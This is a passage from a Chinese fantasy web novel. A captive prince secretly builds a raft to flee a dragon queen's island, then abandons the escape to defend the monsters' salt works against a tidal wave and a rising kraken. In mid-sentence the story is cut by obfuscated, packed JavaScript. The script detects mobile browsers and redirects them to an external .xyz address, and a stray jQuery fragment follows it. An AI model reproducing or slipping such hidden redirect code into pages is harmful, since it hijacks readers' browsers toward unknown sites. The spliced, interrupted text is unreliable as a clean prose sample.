克因珐莉的眸子眯起,一丝被冒犯的怒火腾起。不等斯内克再说什么,她指尖一弹,一缕细小的龙息精准地落在册子上。“嗤啦”一声,那本画册瞬间化为一小撮冒着青烟的焦黑灰烬,连带着差点烧焦斯内克探得太近的尾巴。斯内克惨嘶一声,触电般缩回尾巴盘好,再不敢多嘴。
盐场,在不知不觉间成了东方慎停留时间最长,也相对拥有最多自由的地方。
他利用一切正当理由和空隙:检查盐池结晶厚度,测量引水渠流速,记录每日潮汐涨落的水位标记……细致入微地观察着这片环绕波杰岛的海域。
他默记着每日涨潮退潮的准确时间,估算着高潮与低潮之间的落差。他的目光常常地追随着海面漂浮的杂物,勾勒着洋流的大致方向。
他“报废”了几块在怪物们眼中毫无用处的木板。放在盐仓最深处一个被巨大盐垛遮挡的角落。他利用短暂的休息时间,捡起一块边缘锋利的碎石片,又从收集来的坚韧藤蔓中抽出最细最韧的几根。极其耐心地打磨着那块浮木的边缘,剔除毛刺。在关键位置钻出小孔,将处理好的藤蔓小心地穿过去,加固连接处。
他伫立在海边的次数越来越多,目光投向海平线深处。那眼神里不再是单纯的绝望和烦闷,而是一种近乎执拗的渴望。
蛇怪斯内克将这一切都看在眼里,眼里闪烁着忧虑的光。一日,趁着克因珐莉在龙窟内稍作休息,实际上她正烦躁地将那本《繁衍秘卷》翻得哗哗作响,对着那几句晦涩的古语咬牙切齿的时候,斯内克小心翼翼地游弋上前,盘在离王座几步远的地方,嘶嘶地压低声音:“至高无上的陛下……我有句话,憋在心里好几天了……”他小心地观察着克因珐莉的脸色。
“讲。”克因珐莉头也不抬,声音里带着明显的不耐烦,手指烦躁地敲击着黑曜石扶手。
斯内克咽了口唾沫,小声道:“陛下!小蛇一直恪尽职守,替陛下留意着盐场和……那位慎太子。我发现,慎太子他……最近总喜欢在盐场最靠海的那片礁石上站着,一看就是好久好久。那眼神深得很!我总觉得心里头有点发毛……虽说上次那个筏子早就被您捏成了粉末,但……他会不会……”斯内克没敢把话说完,但意思已经表达得很清楚,他担心东方慎还在谋划逃跑。
克因珐莉翻动书页的手指骤然停住。她抬起头,眸光越过敞开的洞窟,投向外面那片广阔海面。她的尾巴尖在地上扫过,发出轻微的沙沙声。
沉默笼罩了龙窟,只有海风灌入的呜咽声。片刻,克因珐莉终于开口,声音不高,听不出明显的喜怒,却带着一种连她自己都未曾察觉的生涩感:“契约在,他跑不远。”
她停顿了一下,似乎在掂量着一个极其陌生的词汇,然后才一字一顿地吐出,“波杰岛是他的牢笼……”她再次停顿,更长久的沉默后,又说了一句:“……也是他的家。”
最后两个字,她说得特别别扭,仿佛在说一个连她自己都不确定的结论。说完,她像是耗尽了耐心,又像是被自己说出的话弄得更加烦躁,猛地一挥手,“退下吧!”
斯内克立刻弓身,嘶嘶应着“遵命”,飞快地滑行着退出了龙窟,留下克因珐莉独自对着洞外的大海,眸子里翻涌着复杂难辨的情绪。家?这个字眼对她来说,太过陌生了。
晴朗的天空毫无预兆地开始变色,天彻底暗了下来。海面死寂,海底却传来轰鸣声。鹰身女妖在空中尖着嗓子喊:“地脉在轰鸣!海底有东西要出来了!更大的风暴!快跑啊!”
盐场立刻炸了锅。狼人扔了耙子,地精乱窜,石像鬼转动着自己的脖子,蛇怪拼命找缝钻。场面一片混乱。克因珐莉冲出龙窟,看着变色的天和死寂的海,她下意识地看向盐场。
盐场上,狂风已经呼啸而至。在四散奔逃的怪物群中,一个身奋力攀上了最高的盐垛。是东方慎。
风吹起他身上的鲛绡袍,长发在风中狂舞,他用尽全身力气嘶吼:“抢盐!快!狼人搬大块的塞进盐仓最里面!地精用筐装小的!石像鬼堵住仓门!女妖上天盯着海!浪来了喊!不想白干就快动手!”
他的心在狂跳。这景象比上次的风暴更诡异。他一边吼着指挥,眼睛却扫向混乱的海岸线。
机会!
他看到远处海水正飞快地退下去,露出了大片平时淹着的礁石和烂泥滩!一条通往外海的“路”露出来了!
同时,他感觉契约那头,克因珐莉的注意力被眼前的景象拖住了,她根本顾不上他,契约的束缚感也变弱了。
跑!就现在!
这念头猛地蹿起来。他藏好的几块浮木板就在不远,藤蔓也在,冲过去,抱起板子,冲上自由!
就在这时,地底深处传来一声闷响,地面剧烈摇晃。一个靠海的盐池裂开一个大口子,海水混着盐块喷涌而出,一个抱着小筐盐晶的小地精被震翻在地,眼看就要被倒灌的泥水吞没。
东方慎眼角余光扫到这一幕,几乎是本能地抄起手边半截断木,用尽力气朝着小地精的方向狠狠抛去。
“抓住木头!”他吼道。
那截断木落在小地精身边的泥水里。濒死的小地精一把抱住浮木,连滚带爬地被泥水冲出去几米,终于挣扎着爬到了稍高处,被另一个地精同伴连拖带拽地拉走了。
盐仓边缘一根支撑木柱在震动中裂开,整个仓顶摇摇欲坠,堵门的石像鬼被震得一个趔趄,仓门瞬间洞开。
海天相接处,伴随着深渊的嘶吼,一道接天连地的巨浪水墙朝着盐场掀过来,鹰身女妖的示警声已经变成了绝望的哀鸣。
东方慎脑子转得飞快,他计算着跑到海边要多久?扎筏子要多久?那堵墙一样的浪多久拍过来?契约范围有多大?就算下了水,能在浪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902393|176698||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拍回来前逃出契约圈吗?几乎不可能!那筏子在浪里,还有海底的东西……
他就算逃出去又能活多久?克因珐莉只要稍微腾出手,契约反噬就能把他撕碎。
跑,死路一条!
再看眼前,盐仓里堆的盐,是他带着这群怪物们一点点弄出来的。还有那个快被泥水淹死的小地精,那些顶着狂风还在拼命往仓里拖盐板的狼人,那个挣扎着爬起来重新用身体堵门的石像鬼……他们眼里除了怕,还有点把他当主心骨的依赖。
盐场是他搞出来的,这群家伙是他教的。这是他在这鬼地方唯一能证明自己有用的东西。
这盐场,是他现在能立足的,能活下去的,能图谋以后翻盘的本钱!守住它,才有希望。
巨浪的阴影已经笼罩盐场边缘,盐仓眼看就要被拍碎。海底传来的嘶吼声越来越近,令人头皮发麻。
龙窟方向传来一声恶龙的咆哮,一道暗红色光焰精准地砸在巨浪冲击的位置。
光焰与巨浪猛烈撞击,发出一声巨响。光焰被巨量冲灭,但那巨浪的势头也削弱了几分。
克因珐莉这一吼,让混乱奔逃的怪物们僵住了一瞬。
东方慎清楚地感觉到,契约那头猛地抽痛了一下!克因珐莉那边肯定也吃了亏,她这一下代价不小。
他俩现在真是一条绳上的蚂蚱。
没时间想了!
东方慎眼前的自由之路彻底覆灭,只剩下豁出去的狠劲。他猛地转身,对着濒临崩溃的盐仓和吓破胆的怪物们,用尽全身力气嘶吼:“跑?!往哪儿跑?”
他指着那堵吞噬一切的黑浪,狠狠捶了下自己心口:“跑出十里百里也是死!守住岛,守住盐场才有才有以后!”
他眼睛扫过能听见的怪物,最后盯着冲过来的浪喊道:“石像鬼!用身体堵门!当柱子顶着!狼人!盐块堆死里面!压住!地精把缝塞住!不想困死在这儿的就跟我守在这儿!波杰岛,不能完!”
喊完,他从盐堆顶一跃而下,冲向裂开的柱子,抄起旁边被狂风吹倒的木柄,努力将它插进柱子裂缝的地基里,用肩膀和整个身体死死顶上去。
他算清楚了,现在跑就是找死,守盐场才是活路,也是他在这唯一的本钱。
克因珐莉这边正与海底异动对抗着。契约那头传来的感觉变了,不再是想逃的躁动,而是一股坚守的狠劲。她看向盐场方向,眸子里全是看不懂的情绪。
就这时时,东方慎瞥见那海面深处,一个比那巨浪阴影更加庞大的轮廓,正缓缓从深渊中升起,无数条粗壮的巨硕触手阴影,搅动着海水。那来自海底深渊的嘶吼声,此刻变得无比清晰。
“克……克拉肯!是沉眠的克拉肯苏醒了!”一个盘旋在高空,几乎被吓疯的鹰身女妖,用尽最后一丝力气,发出了撕心裂肺尖嚎,随即被狂风吹得无影无踪。